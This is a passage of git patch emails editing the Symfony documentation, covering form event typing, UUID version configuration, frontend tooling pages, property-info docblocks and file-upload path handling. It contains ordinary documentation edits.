+        public function onPreSetData(PreSetDataEvent $event): void
         {
             // ...
         }
@@ -353,7 +353,8 @@ Consider the following example of a form event subscriber::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSetDataEvent;
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     class AddEmailFieldListener implements EventSubscriberInterface
@@ -366,7 +367,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event): void
+        public function onPreSetData(PreSetDataEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -378,7 +379,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event): void
+        public function onPreSubmit(PreSubmitEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();

From 1f64e6e878a19d719e636f003c76336b49295720 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 16:10:52 +0100
Subject: [PATCH 4098/5766] Minor tweak

---
 components/cache/adapters/doctrine_dbal_adapter.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index 97b67724ce1..68732ddd3fa 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -51,10 +51,10 @@ The following database servers are known to be compatible:
 
 .. note::
 
-    Newer releases of Doctrine DBAL might increase these minimal versions. Please check
-    the manual page on `Doctrine DBAL Platforms`_ if your database server is compatible
-    with the installed Doctrine DBAL version.
+    Newer releases of Doctrine DBAL might increase these minimal versions. Check
+    the manual page on `Doctrine DBAL Platforms`_ if your database server is
+    compatible with the installed Doctrine DBAL version.
 
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
 .. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html#connecting-using-a-url
-.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html
\ No newline at end of file
+.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html

From 7d0f640b523959f2ad6fc6938a36146867146c73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 16:29:41 +0100
Subject: [PATCH 4099/5766] Update the Uid version config

---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8b1c496bdc3..26fd32989a9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -90,10 +90,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
-                default_uuid_version: 6
+                default_uuid_version: 7
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 6
+                time_based_uuid_version: 7
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -109,10 +109,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
-                    default_uuid_version="6"
+                    default_uuid_version="7"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="6"
+                    time_based_uuid_version="7"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -131,10 +131,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 6,
+                    'default_uuid_version' => 7,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_version' => 7,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -156,7 +156,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v6 by default)
+            // This creates a UUID of the version given in the configuration file (v7 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From 2a2151f28cdded0a49e69f92138444dc63bcca20 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Tue, 28 Nov 2023 01:41:27 +0100
Subject: [PATCH 4100/5766] [Contributing] Remove references to
 symfony/website-skeleton

---
 contributing/community/reviews.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index ba08e4ffd36..e3da2dcdb21 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -59,15 +59,15 @@ The steps for the review are:
 #. **Is the Report Complete?**
 
    Good bug reports contain a link to a project (the "reproduction project")
-   created with the `Symfony skeleton`_ or the `Symfony website skeleton`_
-   that reproduces the bug. If it doesn't, the report should at least contain
-   enough information and code samples to reproduce the bug.
+   created with the `Symfony skeleton`_ that reproduces the bug. If it
+   doesn't, the report should at least contain enough information and code
+   samples to reproduce the bug.
 
 #. **Reproduce the Bug**
 
    Download the reproduction project and test whether the bug can be reproduced
    on your system. If the reporter did not provide a reproduction project,
-   create one based on one `Symfony skeleton`_ (or the `Symfony website skeleton`_).
+   create one based on one `Symfony skeleton`_.
 
 #. **Update the Issue Status**
 
@@ -134,9 +134,9 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 #. **Reproduce the Problem**
 
    Read the issue that the pull request is supposed to fix. Reproduce the
-   problem on a new project created with the `Symfony skeleton`_ (or the
-   `Symfony website skeleton`_) and try to understand why it exists. If the
-   linked issue already contains such a project, install it and run it on your system.
+   problem on a new project created with the `Symfony skeleton`_ and try to
+   understand why it exists. If the linked issue already contains such a
+   project, install it and run it on your system.
 
 #. **Review the Code**
 
@@ -212,7 +212,6 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 .. _GitHub: https://github.com
 .. _Symfony issue tracker: https://github.com/symfony/symfony/issues
 .. _`Symfony skeleton`: https://github.com/symfony/skeleton
-.. _`Symfony website skeleton`: https://github.com/symfony/website-skeleton
 .. _create a GitHub account: https://help.github.com/github/getting-started-with-github/signing-up-for-a-new-github-account
 .. _bug reports in need of review: https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Aissue+label%3A%22Bug%22+label%3A%22Status%3A+Needs+Review%22+
 .. _PRs in need of review: https://github.com/symfony/symfony/pulls?q=is%3Aopen+is%3Apr+label%3A%22Status%3A+Needs+Review%22

From 389c006bbdf2f999140732710b8c43791ab4b0e8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 22:37:17 +0100
Subject: [PATCH 4101/5766] Adding asset versioning to comparison table

---
 frontend.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 53999ad03bc..cec78509c94 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -16,17 +16,18 @@ fast frontend, *and* enjoy the process:
   to Webpack Encore that runs entirely in PHP. It's currently experimental.
 
 ================================  =================  ======================================================
-                                  Encore             AssetMapper
+                                  Webpack Encore     AssetMapper
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
 Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                      Node.js            none: pure PHP
+Requirements                      Node.js            none (pure PHP)
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
 Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
 Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
+Versioned assets                  optional           always
 ================================  =================  ======================================================
 
 .. _ux-note-1:

From 0f91d4d6513da89db26883c1a9b3d400307c43e2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 1 Dec 2023 17:32:22 +0100
Subject: [PATCH 4102/5766] [AssetMapper] Removing TODOs

Looks like this was forgotten to delete after finishing https://github.com/symfony/symfony-docs/pull/19189 :-)
---
 frontend/asset_mapper.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 601b29f122d..70db9265226 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -993,10 +993,6 @@ rendered by the ``{{ importmap() }}`` Twig function:
 Page-Specific CSS & JavaScript
 ------------------------------
 
----> TODO HEre
----> need to add the entrypoint in the importmap.php file
-----> and should NOT call parent() in the javascript block
-
 Sometimes you may choose to include CSS or JavaScript files only on certain
 pages. For JavaScript, an easy way is to load the file with a `dynamic import`_:
 

From a8b80b8b8a8ed8e3cfcf6512e90781f58c7b8556 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 17:33:11 +0100
Subject: [PATCH 4103/5766] [Form] Fix an RST reference

---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a9283b65722..6b9dcb5c2f8 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`PreSetData::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent>`.
+:method:`PreSetDataEvent::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.

From 738c8939b6b7bbba7f4a40e72520cf37f4b1d410 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 17:40:37 +0100
Subject: [PATCH 4104/5766] Reorder imports in code examples

---
 form/events.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 6b9dcb5c2f8..07d01e026e9 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,6 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`PreSetDataEvent::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
@@ -274,10 +273,10 @@ method of the ``FormFactory``::
 
     // ...
 
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     $form = $formFactory->createBuilder()
@@ -311,9 +310,9 @@ callback for better readability::
     // src/Form/SubscriptionType.php
     namespace App\Form;
 
+    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\FormEvents;
 
     // ...
@@ -352,9 +351,9 @@ Consider the following example of a form event subscriber::
     namespace App\Form\EventListener;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\Event\PreSubmitEvent;
+    use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\FormEvents;
 
     class AddEmailFieldListener implements EventSubscriberInterface

From 7c1a4b44ca4b5a1f6689db600746088b9265143b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 2 Dec 2023 11:43:57 +0100
Subject: [PATCH 4105/5766] Add attribute configuration block for reusable
 locator

---
 .../service_subscribers_locators.rst            | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 397e7141bf4..ec57eb8f12b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -570,6 +570,23 @@ Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Psr\Container\ContainerInterface;
+        use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[Autowire(service: 'app.command_handler_locator')]
+                private ContainerInterface $locator,
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From cc496e09bfa4384bd38daf776671c211943244ff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 3 Dec 2023 20:00:01 +0100
Subject: [PATCH 4106/5766] -

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 856350aaef5..90320d0baeb 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -31,7 +31,7 @@ using a processor::
             $this->requestStack = $requestStack;
         }
 
-        // this method is called for each log record; optimize it to not hurt performance
+        // method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
             try {

From 03b72037ad4d8794bdf232340a702bfc6e5962f7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Dec 2023 08:56:36 +0100
Subject: [PATCH 4107/5766] [PropertyInfo] Introduce
 `PropertyDocBlockExtractorInterface`

---
 components/property_info.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 452966f57d5..ca05d944429 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -183,6 +183,26 @@ for a property::
 
 See :ref:`components-property-info-type` for info about the ``Type`` class.
 
+Documentation Block
+~~~~~~~~~~~~~~~~~~~
+
+Extractors that implement :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface`
+can provide the full documentation block for a property as a string::
+
+    $docBlock = $propertyInfo->getDocBlock($class, $property);
+    /*
+        Example Result
+        --------------
+        string(79):
+            This is the subsequent paragraph in the DocComment.
+            It can span multiple lines.
+    */
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface``
+    interface was introduced in Symfony 7.1.
+
 .. _property-info-description:
 
 Description Information
@@ -413,6 +433,12 @@ library is present::
     // Description information.
     $phpDocExtractor->getShortDescription($class, $property);
     $phpDocExtractor->getLongDescription($class, $property);
+    $phpDocExtractor->getDocBlock($class, $property);
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock``
+    method was introduced in Symfony 7.1.
 
 PhpStanExtractor
 ~~~~~~~~~~~~~~~~

From 9cc4a78d32588b009e0b6869376b82418f09180d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 4 Dec 2023 09:04:40 +0100
Subject: [PATCH 4108/5766] remove versionadded directives for Symfony 6

---
 frontend/asset_mapper.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 730c62b1cbd..64768b8e77b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -379,10 +379,6 @@ from inside ``app.js``:
 Handling CSS
 ------------
 
-.. versionadded:: 6.4
-
-    The ability to import CSS files was introduced in Symfony 6.4.
-
 CSS can be added to your page by importing it from a JavaScript file. The default
 ``assets/app.js`` already imports ``assets/styles/app.css``:
 
@@ -639,10 +635,6 @@ validate the performance of your site!
 Performance: Understanding Preloading
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.4
-
-    Automatic preloading of JavaScript files was introduced in Symfony 6.4.
-
 One issue that LightHouse may report is:
 
     Avoid Chaining Critical Requests

From d2f38719400eb1f329594a5fa95bda57149a8476 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Dec 2023 12:47:53 +0100
Subject: [PATCH 4109/5766] [DependencyInjection] Mention autoconfiguration
 through attributes

---
 controller/upload_file.rst |  2 +-
 service_container.rst      | 11 +++++++++++
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 886c772d98a..e444101ef00 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -60,7 +60,7 @@ so Symfony doesn't try to get/set its value from the related entity::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
diff --git a/service_container.rst b/service_container.rst
index ea341c124d6..76381cf41fb 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -948,6 +948,17 @@ you don't need to do *anything*: the service will be automatically loaded. Then,
 implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add
 constructor arguments without any configuration.
 
+Autconfiguration also works with attributes. Some attributes like
+:class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`,
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` and
+:class:`Symfony\\Component\\Console\\Attribute\\AsCommand` are registered
+for autoconfiguration. Any class using these attributes will have tags applied
+to them.
+
+.. versionadded:: 5.3
+
+    Autoconfiguration through attributes was introduced in Symfony 5.3.
+
 Linting Service Definitions
 ---------------------------
 

From 4120857b930db4037473660232d912ca4c3b64da Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Mon, 4 Dec 2023 09:04:13 +0100
Subject: [PATCH 4110/5766] [HttpFoundation] Add
 `UploadedFile::getClientOriginalPath()` to support directory uploads

---
 controller/upload_file.rst     | 14 ++++++++++++--
 reference/forms/types/file.rst | 10 +++++++---
 2 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c05e78997ba..f638ed0d517 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -194,13 +194,23 @@ There are some important things to consider in the code of the above controller:
    users. This also applies to the files uploaded by your visitors. The ``UploadedFile``
    class provides methods to get the original file extension
    (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalExtension`),
-   the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`)
-   and the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`).
+   the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`),
+   the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`)
+   and the original file path (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalPath`).
    However, they are considered *not safe* because a malicious user could tamper
    that information. That's why it's always better to generate a unique name and
    use the :method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::guessExtension`
    method to let Symfony guess the right extension according to the file MIME type;
 
+.. note::
+
+    If a directory was uploaded, ``getClientOriginalPath`` will contain the **webkitRelativePath** as provided by the browser.
+    Otherwise this value will be identical to ``getClientOriginalName``.
+
+.. versionadded:: 7.1
+
+    The ``getClientOriginalPath`` method was introduced in Symfony 7.1.
+
 You can use the following code to link to the PDF brochure of a product:
 
 .. code-block:: html+twig
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 95aab73783a..b4982859b98 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -55,6 +55,10 @@ You might calculate the filename in one of the following ways::
     // use the original file name
     $file->move($directory, $file->getClientOriginalName());
 
+    // when "webkitdirectory" upload was used
+    // otherwise the value will be the same as getClientOriginalName
+    // $file->move($directory, $file->getClientOriginalPath());
+
     // compute a random name and try to guess the extension (more secure)
     $extension = $file->guessExtension();
     if (!$extension) {
@@ -63,9 +67,9 @@ You might calculate the filename in one of the following ways::
     }
     $file->move($directory, rand(1, 99999).'.'.$extension);
 
-Using the original name via ``getClientOriginalName()`` is not safe as it
-could have been manipulated by the end-user. Moreover, it can contain
-characters that are not allowed in file names. You should sanitize the name
+Using the original name via ``getClientOriginalName()`` or ``getClientOriginalPath``
+is not safe as it could have been manipulated by the end-user. Moreover, it can contain
+characters that are not allowed in file names. You should sanitize the value
 before using it directly.
 
 Read :doc:`/controller/upload_file` for an example of how to manage a file

From 1e14f408ff1e4df1e862acadb50a395a550b7efe Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 4 Dec 2023 21:59:51 +0100
Subject: [PATCH 4111/5766] append parentheses to method names

---
 controller/upload_file.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index f638ed0d517..f50432f5ee3 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -204,12 +204,13 @@ There are some important things to consider in the code of the above controller:
 
 .. note::
 
-    If a directory was uploaded, ``getClientOriginalPath`` will contain the **webkitRelativePath** as provided by the browser.
-    Otherwise this value will be identical to ``getClientOriginalName``.
+    If a directory was uploaded, ``getClientOriginalPath()`` will contain
+    the **webkitRelativePath** as provided by the browser. Otherwise this
+    value will be identical to ``getClientOriginalName()``.
 
 .. versionadded:: 7.1
 
-    The ``getClientOriginalPath`` method was introduced in Symfony 7.1.
+    The ``getClientOriginalPath()`` method was introduced in Symfony 7.1.
 
 You can use the following code to link to the PDF brochure of a product:
 

From 0ef5c2d85d1cd8a8477cde562b715552cebd76af Mon Sep 17 00:00:00 2001
From: jmsche <jonathan.scheiber@wikipower.be>
Date: Tue, 5 Dec 2023 08:23:38 +0100
Subject: [PATCH 4112/5766] UX bundles: fix autoimport paths

---
 frontend/create_ux_bundle.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 12002d10356..eaadd3f1e41 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -47,8 +47,8 @@ to the ``peerDependencies``:
                     "fetch": "eager",
                     "enabled": true,
                     "autoimport": {
-                        "dist/bootstrap4-theme.css": false,
-                        "dist/bootstrap5-theme.css": true
+                        "@acme/feature/dist/bootstrap4-theme.css": false,
+                        "@acme/feature/dist/bootstrap5-theme.css": true
                     }
                 }
             }

From 374c12fef1ad3758aed2fe0dc0f861fc0f5f416a Mon Sep 17 00:00:00 2001
From: Oussama GHAIEB <Oussama.BelGhaieb@gmail.com>
Date: Tue, 5 Dec 2023 12:00:27 +0100
Subject: [PATCH 4113/5766] Added missing backtick character

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c293998d85b..cb4c4d562f9 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -220,7 +220,7 @@ method::
     }
 
 You can also make attributes usable on methods. To do so, update the previous
-example and add ``Attribute::TARGET_METHOD`::
+example and add ``Attribute::TARGET_METHOD``::
 
     // src/Attribute/SensitiveElement.php
     namespace App\Attribute;

From 9b5abac2eed433f464c428a356dab79542dbfd2f Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Fri, 1 Dec 2023 14:43:12 -0500
Subject: [PATCH 4114/5766] [Frontend] Identify the 2 main approaches to a
 frontend

---
 frontend.rst | 33 ++++++++++++++++++++++++++-------
 1 file changed, 26 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 15f994ad40d..3153b30cf67 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,11 +1,17 @@
 Front-end Tools: Handling CSS & JavaScript
 ==========================================
 
-Symfony gives you the flexibility to choose any front-end tools you want. This could
-be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
-more advanced - like scaffolding your front-end with a tool like Next.js.
+Symfony gives you the flexibility to choose any front-end tools you want. There
+are generally two approaches: :ref:`building your HTML with PHP & Twig <frontend-twig-php>`
+or :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+Both work great - and are discussed below.
 
-However, Symfony *does* come with two powerful options to help you build a modern,
+.. _frontend-twig-php:
+
+Using PHP & Twig
+----------------
+
+Symfony comes with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
 * :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
@@ -39,7 +45,7 @@ be executed by a browser.
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)
--------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with *no* complex build step or dependencies. It does this by leveraging
@@ -51,7 +57,7 @@ to a polyfill.
 .. _frontend-webpack-encore:
 
 Webpack Encore
---------------
+~~~~~~~~~~~~~~
 
 .. screencast::
 
@@ -65,7 +71,7 @@ asset system that's a *delight* to use.
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
---------------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Once you've installed AssetMapper or Encore, it's time to start building your
 front-end. You can write your JavaScript however you want, but we recommend
@@ -74,6 +80,18 @@ using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
 To learn about Stimulus & the UX Components, see:
 the `StimulusBundle Documentation`_
 
+.. _frontend-js:
+
+Using a Front-end Framework (React, Vue, Svelte, etc)
+-----------------------------------------------------
+
+If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
+we recommend using their native tools and using Symfony as a pure API. A wonderful
+tool to do that is `API Platform`_. Their standard distribution comes with a
+Symfony-powered API backend, frontend scaffolding in Next.js (other frameworks
+are also supported) and a React admin interface. It comes fully Dockerized and even
+contains a web server.
+
 Other Front-End Articles
 ------------------------
 
@@ -89,3 +107,4 @@ Other Front-End Articles
 .. _Stimulus: https://stimulus.hotwired.dev/
 .. _Turbo: https://turbo.hotwired.dev/
 .. _Symfony UX: https://ux.symfony.com
+.. _API Platform: https://api-platform.com/

From 50ade2382945f88ca91784af30531d38d88d3573 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Dec 2023 15:07:13 +0100
Subject: [PATCH 4115/5766] Minor tweak

---
 frontend.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 3153b30cf67..e9591654212 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -2,8 +2,11 @@ Front-end Tools: Handling CSS & JavaScript
 ==========================================
 
 Symfony gives you the flexibility to choose any front-end tools you want. There
-are generally two approaches: :ref:`building your HTML with PHP & Twig <frontend-twig-php>`
-or :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+are generally two approaches:
+
+#. :ref:`building your HTML with PHP & Twig <frontend-twig-php>`;
+#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React.
+
 Both work great - and are discussed below.
 
 .. _frontend-twig-php:

From 8962ac5a86983537af816d36ebdb2901f5e538c3 Mon Sep 17 00:00:00 2001
From: morrsky <jan@kowalski.name>
Date: Tue, 5 Dec 2023 11:25:31 +0100
Subject: [PATCH 4116/5766] Update runtime.rst

typo PHP-PM:PHP-FPM
---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index c1588bac187..df7b26141aa 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -2,7 +2,7 @@ The Runtime Component
 =====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-PM, ReactPHP,
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
     Swoole, etc. without any changes.
 
 .. versionadded:: 5.3

From 817c1722246df61e9b46734bd847ff796b1091ee Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 5 Dec 2023 16:13:46 +0100
Subject: [PATCH 4117/5766] fix the Runtime component introduction

---
 components/runtime.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index df7b26141aa..bc2fe81e726 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -2,8 +2,8 @@ The Runtime Component
 =====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
-    Swoole, etc. without any changes.
+    to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
